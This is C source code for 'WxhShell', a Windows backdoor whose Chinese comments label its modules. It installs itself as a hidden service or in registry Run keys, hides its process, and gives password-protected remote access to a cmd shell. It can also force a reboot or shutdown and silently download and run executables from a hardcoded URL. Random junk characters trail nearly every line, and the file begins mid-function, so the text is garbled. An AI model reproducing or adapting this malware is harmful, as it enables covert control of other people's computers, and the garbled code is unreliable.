  // 关机  H?(I-vO  
  case 'd': { G-)Q*p{i|  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); %;r0,lN|II  
    if(Boot(SHUTDOWN)) AGe\PCn-  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); tJQFhY  
    else { M;{btu^a  
    closesocket(wsh); n^Uu6  
    ExitThread(0); -$[o:dLO  
    } 2C!Ko"1Y'  
    break; )lo;y~ o  
    } 2V 1|b`b#4  
  // 获取shell BSGC.>$s  
  case 's': { yR Zb_Mq9U  
    CmdShell(wsh); 8a^E{x@HT  
    closesocket(wsh); ,/=Fm  
    ExitThread(0); n8.W$&-ia  
    break; H.HXwN/x  
  } QD}'2{M!  
  // 退出 \NEXtr`Th  
  case 'x': {  jx3J$5  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); cBO.96ZHE  
    CloseIt(wsh); &pCNOHi|  
    break; [a<u cJ  
    } &C.{7ZNt  
  // 离开 s 9Y'MQo*  
  case 'q': { 0 2lI-xHe  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Vk/!_)  
    closesocket(wsh); 1FCHqqZ=  
    WSACleanup(); vt`V<3  
    exit(1); cF[L6{Oe  
    break; FC:+[.fi  
        } R*l#[D5A  
  } 3:XF7T  
  } 7ktSj}7W]  
JYt)4mOo  
  // 提示信息 Vg 6/1I  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); %V+hm5Q  
} <Oi65O_X  
  } %q~YJ*\  
e-Xr^@M*Q  
  return; nNCG*Vu  
} o~vUqj?BA  
xIN&>D'|N  
// shell模块句柄 vnNX)$f  
int CmdShell(SOCKET sock) P9Yw\   
{ 0~(K@U>#  
STARTUPINFO si; YTc X4cC  
ZeroMemory(&si,sizeof(si)); {xFgPtCM  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ]5V=kNu i  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; dOm@cs  
PROCESS_INFORMATION ProcessInfo; +ld]P}  
char cmdline[]="cmd"; 5cv&`h8uo_  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 6%hr]>L  
  return 0; 7wivu*0  
} Md4hd#z  
HinPO  
// 自身启动模式 m zh8<w?ns  
int StartFromService(void) m~[4eH,  
{ i;u#<y{E  
typedef struct *Vbf ;=Mb  
{ VO (KQx  
  DWORD ExitStatus; }=dUASL  
  DWORD PebBaseAddress; 59Lv/Mfy  
  DWORD AffinityMask; Dsl,(qm5  
  DWORD BasePriority; 0^H"eQO  
  ULONG UniqueProcessId; vn]e`O>y  
  ULONG InheritedFromUniqueProcessId; MY8[)<q"  
}   PROCESS_BASIC_INFORMATION; )Vn(J#s  
 }de {-  
PROCNTQSIP NtQueryInformationProcess; Yq6e=?-  
<sALA~p|0  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; A5UZUU^  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; \gBsAZE  
@O!BQ^'hk#  
  HANDLE             hProcess; !O`aaLc  
  PROCESS_BASIC_INFORMATION pbi; Lp|7s8?  
?5N7,|K)  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Hwz.5hV"  
  if(NULL == hInst ) return 0; eHQS\n  
t",=]k  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules");  iI!MF1  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); f,jN"  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); w$XqxI/&  
>@g+%K]  
  if (!NtQueryInformationProcess) return 0; HX;JO[0  
'7oWN,-  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); yHXQCWY{8;  
  if(!hProcess) return 0; }T)0:DF1,  
]^ e4coC  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; c Y C@@?  
qG]G0|f  
  CloseHandle(hProcess); 6njwrqo  
%nRz~3X|+v  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 9JDdOjqo  
if(hProcess==NULL) return 0; ]4uY<9VL  
F*}.0SQ  
HMODULE hMod; .T>^bLuFy  
char procName[255]; 8h.Dc&V  
unsigned long cbNeeded; ^$N}[1   
lYF~CNvE  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); m@Q%)sc)  
c%jW'  
  CloseHandle(hProcess); 4N!Eqw  
e5}KzFZmZ  
if(strstr(procName,"services")) return 1; // 以服务启动 LLMom.  
!kTI@103Wd  
  return 0; // 注册表启动 m0}1P]dc  
} 0qCx.<"p8#  
[P3].#"]M=  
// 主模块 69/br @j%`  
int StartWxhshell(LPSTR lpCmdLine) z0jF.ub  
{ ;(F_2&he  
  SOCKET wsl; nlq"OzcH04  
BOOL val=TRUE; 9'My /A0  
  int port=0; $:RP tG  
  struct sockaddr_in door; 3axbW f3[  
*_ U=KpZF  
  if(wscfg.ws_autoins) Install(); R7 WGc[  
[ T6MaP?  
port=atoi(lpCmdLine); 'yw7|i2  
Bvai  
if(port<=0) port=wscfg.ws_port; ~jpdDV&u\  
$`wo8A|)  
  WSADATA data; Iq[ d5)M4  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Rxf.@E  
DNyU]+\L[l  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   >Oz~j>jL  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ?BEO(;'  
  door.sin_family = AF_INET; xoYaL  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); G@N-+  
  door.sin_port = htons(port); a,YU)v^  
ru5T0w";V  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { O-N@HZC  
closesocket(wsl); tLD(%s_  
return 1; K:JM*4W  
} A7hWAq  
a3Fe42G2c|  
  if(listen(wsl,2) == INVALID_SOCKET) { '",+2=JJ  
closesocket(wsl); }#Q?\  
return 1; 6p}dl>T_y  
} 8rNRQOXOa  
  Wxhshell(wsl); j,J/iJs  
  WSACleanup(); {S Oy-  
~stG2^"[  
return 0; ?O|CY  
UWPzRk#s"  
} l2S1?*  
3c|u2Pl  
// 以NT服务方式启动 m35$4  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) M,R**z  
{ N+#lS7  
DWORD   status = 0; YM`I&!n  
  DWORD   specificError = 0xfffffff; 5i eF8F%  
OngUZMgdb  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ^rX5C2}G\D  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; }TDoQ]P  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; C}D\^(nLu.  
  serviceStatus.dwWin32ExitCode     = 0; B']}n`g  
  serviceStatus.dwServiceSpecificExitCode = 0; q(n PI  
  serviceStatus.dwCheckPoint       = 0; 0+m4 }]6l  
  serviceStatus.dwWaitHint       = 0; <W2 YG6^i  
dJf#j?\[  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); OV+|j  
  if (hServiceStatusHandle==0) return; g4U`Qf3  
Z< 4Du  
status = GetLastError(); +W}dO#  
  if (status!=NO_ERROR) dSkx*#FEE  
{ 9N*!C{VW  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; -h`[w:  
    serviceStatus.dwCheckPoint       = 0; iYR`|PJi  
    serviceStatus.dwWaitHint       = 0; 6z3`*B  
    serviceStatus.dwWin32ExitCode     = status; }[O/u <Z  
    serviceStatus.dwServiceSpecificExitCode = specificError; *`WD/fG  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); :%2uZ/cG(  
    return; ?Dn 6  
  } k "Qr  
v*3tqT(%  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; `}o{o  
  serviceStatus.dwCheckPoint       = 0; 8n~ o="  
  serviceStatus.dwWaitHint       = 0; G{!adBna  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); #BOLq`9 f  
} 6EY W:o  
11Y4oS  
// 处理NT服务事件,比如:启动、停止 s<b(@L 1  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 9_&N0>OF  
{ U3rpmml  
switch(fdwControl) RGC DC*\  
{ L8.u7(-#  
case SERVICE_CONTROL_STOP: zYZ^/7)  
  serviceStatus.dwWin32ExitCode = 0; ^3 6oqe{  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; hI}rW^o^  
  serviceStatus.dwCheckPoint   = 0; \1[v-hvK  
  serviceStatus.dwWaitHint     = 0; !`S61~gE  
  { KpF/g[m  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); yE=tuHv(0  
  } !IAd.<,  
  return; yGZsPQIaV  
case SERVICE_CONTROL_PAUSE: /~6)Vt  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; dkI(&/  
  break; d:GAa   
case SERVICE_CONTROL_CONTINUE: m1{OaHxKh  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; UkzLUok]U  
  break; !`qw" i  
case SERVICE_CONTROL_INTERROGATE: f J$>VN  
  break; =+>^:3cCQ  
}; 3Jj 3!aDB  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ^oH!FN`;{  
} Fb^f`UI  
k.K;7GZC  
// 标准应用程序主函数 &:}}T=@M1  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) m`B .3  
{ US2Tdmy@05  
&?(472<f**  
// 获取操作系统版本 daN#6e4Z+;  
OsIsNt=GetOsVer(); NU |vtD  
GetModuleFileName(NULL,ExeFile,MAX_PATH); biy[h3b  
N3SB-E+  
  // 从命令行安装 F2WMts  
  if(strpbrk(lpCmdLine,"iI")) Install(); i8 fUzg)  
+~l`rJ  
  // 下载执行文件 @(I)]Ca%O  
if(wscfg.ws_downexe) { snti*e4"V  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Ua\<oD79]  
  WinExec(wscfg.ws_filenam,SW_HIDE); yIG*  
} 0OF]|hH  
nA 5-P}  
if(!OsIsNt) { LAcK%  
// 如果时win9x,隐藏进程并且设置为注册表启动 OdHl)"#  
HideProc(); MB3 0.V/\  
StartWxhshell(lpCmdLine); ,?(IRiq%  
} Wt $q{g{C  
else %o4HCzId<  
  if(StartFromService()) )uxXG `,h  
  // 以服务方式启动 8Ssk>M*  
  StartServiceCtrlDispatcher(DispatchTable); @$] CC1Y  
else r}~|,O3bc'  
  // 普通方式启动 d_w^u|(K  
  StartWxhshell(lpCmdLine); ]~J.YX9ST  
Qu6Q)dZ<  
return 0; ganXO5T$  
} !PuW6  
\r^*4P,,  
q A?j-H  
01AzM)U3"m  
=========================================== ptvM>zw'~g  
BzyzOtBp3L  
VSQxlAGk@  
/'WVRa  
&XH{,fv$  
x39n7+j4  
" ;VI W/  
^Z~'>J  
#include <stdio.h> [/Ya4=C@  
#include <string.h> p&<X&D   
#include <windows.h> v.pj PBU1  
#include <winsock2.h> }Pf7YuUZZ  
#include <winsvc.h> #M5[TN!  
#include <urlmon.h> Tt*n.HA  
o:C],G_  
#pragma comment (lib, "Ws2_32.lib") DX)T}V&mP  
#pragma comment (lib, "urlmon.lib") Z2soy-  
7\p<k/TS  
#define MAX_USER   100 // 最大客户端连接数 +' f38D*  
#define BUF_SOCK   200 // sock buffer '@ C\,E  
#define KEY_BUFF   255 // 输入 buffer +jIE,N  
q)E J?-  
#define REBOOT     0   // 重启 RiNKUk{-  
#define SHUTDOWN   1   // 关机 j_Z"=  
^d[ s*,i?  
#define DEF_PORT   5000 // 监听端口 $IB>a  
6D n[9V  
#define REG_LEN     16   // 注册表键长度 +(9qAB7  
#define SVC_LEN     80   // NT服务名长度 2 bQC 2  
{S;/+X,  
// 从dll定义API IsjD-t  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); \/ 8 V|E  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Gkq<?q({t  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); d}e/f)(  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); J;S@Q/s  
a}]zwV&  
// wxhshell配置信息 $Y Cy,Ew   
struct WSCFG { |=CV.Su  
  int ws_port;         // 监听端口 3[E)/~-  
  char ws_passstr[REG_LEN]; // 口令 //\UthOT  
  int ws_autoins;       // 安装标记, 1=yes 0=no &:ib>EB03=  
  char ws_regname[REG_LEN]; // 注册表键名 |Lz:i +;  
  char ws_svcname[REG_LEN]; // 服务名 wtL_c  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 (HZzA7eph  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 V3]"ROH  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 hc4W|Ofj  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ZZXQCP6]  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" <O#/-r>2  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 1]l m0bfs  
|( =`l  
}; .5PcprE/  
ixFuqPij  
// default Wxhshell configuration &%/kPF~<  
struct WSCFG wscfg={DEF_PORT, ;v?!Pml2k  
    "xuhuanlingzhe", Y)=89s&t  
    1, HBc^[fJ^-  
    "Wxhshell", 8}0O @ wq  
    "Wxhshell", jLEwFPz  
            "WxhShell Service", Zg@NMT  
    "Wrsky Windows CmdShell Service", M6+_Mi.  
    "Please Input Your Password: ", h) . ([  
  1, u\-f\Z7  
  "http://www.wrsky.com/wxhshell.exe", Jc:gNQCsP  
  "Wxhshell.exe" -r!N; s$t  
    }; 2nFSu9}+r  
XdDy0e4{%<  
// 消息定义模块 .CL\``  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 6jRUkI-!  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 1x^(vn#=  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; -$]Tn#`Fb  
char *msg_ws_ext="\n\rExit."; k8;  
char *msg_ws_end="\n\rQuit."; D%0GXUp  
char *msg_ws_boot="\n\rReboot..."; )D:I@`*  
char *msg_ws_poff="\n\rShutdown..."; N}*|*!6hI  
char *msg_ws_down="\n\rSave to "; K] ^kUN_  
M)U 32gI:  
char *msg_ws_err="\n\rErr!"; HZ1e~IIw  
char *msg_ws_ok="\n\rOK!"; @ qfVt  
v_gQCS  
char ExeFile[MAX_PATH]; 7O)U(<70  
int nUser = 0; [8VB"{{&  
HANDLE handles[MAX_USER]; TuBl9 p'6  
int OsIsNt; ]tVU$9D   
tCk;tu!d  
SERVICE_STATUS       serviceStatus; ">G|\_ZF  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Vc! ;O9dP  
'j)xryw  
// 函数声明 0.~Pzg  
int Install(void); w6fVZY4  
int Uninstall(void); 76\ir<1up  
int DownloadFile(char *sURL, SOCKET wsh); eoS8e$}  
int Boot(int flag); xsx @aF  
void HideProc(void); z~/z>_y$nv  
int GetOsVer(void);  pv=g)  
int Wxhshell(SOCKET wsl); ;^Vsd\ac0  
void TalkWithClient(void *cs); K>h=  
int CmdShell(SOCKET sock); 8gv \`  
int StartFromService(void); !`k{Ga  
int StartWxhshell(LPSTR lpCmdLine); T'cahkSw'O  
T #&9|  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); L44/eyrp  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 3+<}Hm+  
!po8[fz~x  
// 数据结构和表定义 ?Mg&e/^  
SERVICE_TABLE_ENTRY DispatchTable[] = () Z!u%j  
{ `5:Wv b>|  
{wscfg.ws_svcname, NTServiceMain}, cp0@wC#d  
{NULL, NULL} $T\z  
}; c]>s(/}T  
:t6 w+h  
// 自我安装 5'/Ney9N  
int Install(void) Zu\(XN?62  
{ X=Q)R1~6v  
  char svExeFile[MAX_PATH]; ]w/`02w"$  
  HKEY key; M ]dS>W%U  
  strcpy(svExeFile,ExeFile); V fJYYR  
vs/.'yD/C  
// 如果是win9x系统,修改注册表设为自启动 vr|9NP]v  
if(!OsIsNt) { !_VKJZuH  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Lt+ Cm$3  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); X ?/C9  
  RegCloseKey(key); h&+dIk\[3  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Ji_3*(  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 3[E3]]OVa  
  RegCloseKey(key); WHQg6r  
  return 0; {$,e@nn  
    } :A\8#]3  
  } ~a:0Q{>a  
} 8. [TPiUn'  
else { A@BYd'}]  
)oJn@82C|  
// 如果是NT以上系统,安装为系统服务 L'LZK  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); $9DV }  
if (schSCManager!=0) sv0) sL  
{ \`\& G-\  
  SC_HANDLE schService = CreateService +_tK \MN  
  ( $R3]y9`?  
  schSCManager, P%A^TD|  
  wscfg.ws_svcname, IWvLt  
  wscfg.ws_svcdisp, nc#}-}`5  
  SERVICE_ALL_ACCESS, s l|n]#)  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Amf gc>eJ  
  SERVICE_AUTO_START, t@[&8j2B>  
  SERVICE_ERROR_NORMAL, D.zEE-cGyb  
  svExeFile, Vv4 w?K  
  NULL, k/A8 |  
  NULL, 4k5X'&Q  
  NULL, _jOu`1w  
  NULL, Y<0;;tVf4U  
  NULL $<.\,wW*'w  
  ); bI 3o|  
  if (schService!=0) 5t`< KRz)I  
  { ;Bk?,g  
  CloseServiceHandle(schService); x2 *l5t  
  CloseServiceHandle(schSCManager); I@a y&NNh  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); .5*h']iFr1  
  strcat(svExeFile,wscfg.ws_svcname); =  *7K_M&  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { {<{ O!  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); !63p?Q=  
  RegCloseKey(key); ES[H^}|Gi  
  return 0; K,{P b?  
    } 'M>QA"*48E  
  } LeDty_  
  CloseServiceHandle(schSCManager); ezn%*X y,  
} MaDdiyeC  
} 68 % = V>V  
8"L#5MO t  
return 1; 4}@J]_]Z  
} w Q /IT}-  
'thWo wE  
// 自我卸载 1zwk0={x-%  
int Uninstall(void) q}[g/%  
{ W($}G_j[B1  
  HKEY key; 4RCD<7  
SJb+:L>  
if(!OsIsNt) { (- `h8M  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 7\>P@s  
  RegDeleteValue(key,wscfg.ws_regname); b^[Ab:`}[V  
  RegCloseKey(key); ~.99H  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { qPeaSv]W  
  RegDeleteValue(key,wscfg.ws_regname); lXH?*  
  RegCloseKey(key); e P]L  
  return 0; #=mLQSiQ  
  } yd#SB)&  
} P_S^)Yo  
} %5#ts/f  
else { Y 3W_Z  
LpwjP4vWJ  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ZbVo<p5* ]  
if (schSCManager!=0) [=k$Q (.3  
{ f]Jn\7j4  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); H9}z0VI  
  if (schService!=0) ;}v#hKC~  
  { "M#A `b  
  if(DeleteService(schService)!=0) { jdz]+Q`jq  
  CloseServiceHandle(schService); GCaiogiBg  
  CloseServiceHandle(schSCManager); }+/j/es{]  
  return 0; 84g$V}mp  
  } \)KLm  
  CloseServiceHandle(schService); RCM;k;@8V  
  } 1vKAJ<4W  
  CloseServiceHandle(schSCManager); FXMrD,qVg  
} Qh*"B  
} En01LrC?  
{m%]`0  
return 1; f793yCiG  
} zh8\ _> +  
+9LIpU&5  
// 从指定url下载文件 HK_Vk\e  
int DownloadFile(char *sURL, SOCKET wsh) ^n Gj 7b  
{ Hw"Lo Vh  
  HRESULT hr; r<< ]41  
char seps[]= "/"; Rq`B'G9|c  
char *token; P1cI]rriW  
char *file; u!4i+7}  
char myURL[MAX_PATH]; ViZ Tl~  
char myFILE[MAX_PATH]; xF4S  
VcI'+IoR?  
strcpy(myURL,sURL); [;6,lI}  
  token=strtok(myURL,seps); C_CUk d[  
  while(token!=NULL) (*qMs)~]B  
  { >\f'QQ  
    file=token; 4FwtC"G3  
  token=strtok(NULL,seps); `Vph=`0  
  } g$X4ZRSel  
t`F<lOKj  
GetCurrentDirectory(MAX_PATH,myFILE); >|j8j:S[  
strcat(myFILE, "\\"); % YgGw:wZ  
strcat(myFILE, file); :pz`bFJk  
  send(wsh,myFILE,strlen(myFILE),0); N{b ;kiZq  
send(wsh,"...",3,0); M3m)uiz  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); b}&2j3-n,  
  if(hr==S_OK) UdGa#rcNW  
return 0; 0eJqDCmH  
else "~V|p3  
return 1; w?eJVi@w{  
eMT}"u8$A  
} `^d[$IbDW  
hCpX# rg?  
// 系统电源模块 nDG41)|  
int Boot(int flag) { $ a $m  
{ -_`dA^  
  HANDLE hToken; X(r$OZ  
  TOKEN_PRIVILEGES tkp; `1xJ1 z#  
\US'tF)/  
  if(OsIsNt) { 62s0$vw  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ~)fd+~4L  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ?aMd#.&  
    tkp.PrivilegeCount = 1; ,F;<Y9]  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Fu%D2%V$/  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); i!yu%>:M  
if(flag==REBOOT) { ]h3{M Tr/  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 3'*}ZDC  
  return 0; $M:Ru@Du2  
} $u"*n\k>  
else { "pA24Ze  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ;\mTm;]G  
  return 0; %DQ!#Nl*  
} `4Db( ~  
  } A#;TY:D2  
  else { KkK !E  
if(flag==REBOOT) { V;N'?Gu  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) PR+L6DT_  
  return 0; zWA~0l.2  
} l|jb}9(J  
else { i3dV2^O  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) cXDG(.!n7B  
  return 0; K?J?]VCw  
} f.e4 C,  
} }LA7ku  
+$CO  
return 1; #Y_v0.N  
} E9N.b.Q)  
*B*dWMh  
// win9x进程隐藏模块 8+|7*Ud  
void HideProc(void) <&CzM"\Em  
{ &sA@!  
Y^(NzN  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Kk9eJ\  
  if ( hKernel != NULL ) PrQs_ t Ni  
  { ,6Ua+\|  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ?S2!'L  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); @%[ dh@oY  
    FreeLibrary(hKernel); 0}4FwcCr\  
  } 8GKqPS+  
du5|/  
return; u27*-X 5  
} BpR#3CfW  
)4O* D92  
// 获取操作系统版本 <#ZDA/G(  
int GetOsVer(void) A5q%yt I  
{ C< B1zgX  
  OSVERSIONINFO winfo; |M$ESj4@  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); <&m `)FJ  
  GetVersionEx(&winfo); HUWCCVn&  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) +cf.In,{  
  return 1; <8sy*A?0z  
  else Su>UXuNdE#  
  return 0; /4{.J=R}  
} -;s-*$I  
^2<nn op  
// 客户端句柄模块 R![)B97^  
int Wxhshell(SOCKET wsl) {)y8Y9G  
{ F#>^S9Gml  
  SOCKET wsh; 6v(;dolBIw  
  struct sockaddr_in client; >sZ207*  
  DWORD myID; 7a#zr_r  
B,NHy C1i  
  while(nUser<MAX_USER) !fT3mI6u\  
{ _usi~m  
  int nSize=sizeof(client); <&87aDYz  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); r$/.x6g//  
  if(wsh==INVALID_SOCKET) return 1; R1j)0b6cQ%  
ptCAtEO72  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); DcmRb/AP*  
if(handles[nUser]==0) 48W-Tf6v|  
  closesocket(wsh); B`;DAsmT  
else _ ATIV  
  nUser++; ?5Ub&{  
  } c&>==pI]k  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ~'3hK4  
!1{kG%B=  
  return 0; ZNjqH[  
} f<K7m  
j87IxB?o  
// 关闭 socket 1v"r8=Wt  
void CloseIt(SOCKET wsh) M\w%c5  
{ R3!3TJ  
closesocket(wsh); &-B&s.,kj  
nUser--; P%^\<#Ya7  
ExitThread(0); (.J8Q  
} m=e#1Hs   
z<Y >phc  
// 客户端请求句柄 >^V3Z{;  
void TalkWithClient(void *cs) +f]\>{o4  
{ lBcRt)_O7  
qcdENIy0b  
  SOCKET wsh=(SOCKET)cs; ]>'yt #]  
  char pwd[SVC_LEN]; 3!<} -sW4  
  char cmd[KEY_BUFF]; B_uAa5'  
char chr[1]; EC0M0qQ  
int i,j; u4,b%h.  
@"$rR+r'  
  while (nUser < MAX_USER) { Ymr\8CG/  
5^GFN*poig  
if(wscfg.ws_passstr) { VQ]MJjvb  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); $ix*xm. 4m  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); DUOSL  
  //ZeroMemory(pwd,KEY_BUFF); TU,k( `tn<  
      i=0; =S|^pN  
  while(i<SVC_LEN) { Kj`sq":Je0  
mzoNXf:x  
  // 设置超时 }N}\<RG  
  fd_set FdRead; 8QaF(?  
  struct timeval TimeOut; AXOR<Ns`  
  FD_ZERO(&FdRead); @[] A&)B  
  FD_SET(wsh,&FdRead); cc|"^-j-7  
  TimeOut.tv_sec=8; Ze>Pg.k+  
  TimeOut.tv_usec=0; 'RjMwJy{  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); M~ ^ {S[o  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ZPolE_P7  
#&jr9RB  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 9'S~zG%{  
  pwd=chr[0]; Uk0]A  
  if(chr[0]==0xd || chr[0]==0xa) { dtT2h>h9  
  pwd=0; DHO+JtO  
  break; A_\ZY0Xt  
  } sJ(q.FRM'  
  i++; A[.5Bi  
    } A1u|L^  
;N/=)m  
  // 如果是非法用户,关闭 socket !s:v UY58  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); H%:u9DlEK/  
} <(<19t5.  
B%e#u.'6  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 6opu bI<  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); <0hJo=6a8  
uY5Gn.Y  
while(1) { S.kFs{;1x  
d PfD Pb  
  ZeroMemory(cmd,KEY_BUFF); _-.~>C  
raPUx_$PH  
      // 自动支持客户端 telnet标准   9&t!U+  
  j=0; ;"@FLq(n  
  while(j<KEY_BUFF) { bk#t+tuk  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); D@yuldx'/  
  cmd[j]=chr[0]; 8*V8B=q}K  
  if(chr[0]==0xa || chr[0]==0xd) { uVBMI.&w  
  cmd[j]=0; l8_TeO  
  break; ^"Nsb&  
  } M+N7JpR  
  j++; koizk&)  
    } W%k0_Y/5  
P=jbr"5Q:  
  // 下载文件 U2(|/M+  
  if(strstr(cmd,"http://")) { dGb]`*E  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); c*"TmDY  
  if(DownloadFile(cmd,wsh)) s3LR6Z7;i  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); J&IFn/JK$  
  else &_!g|-  
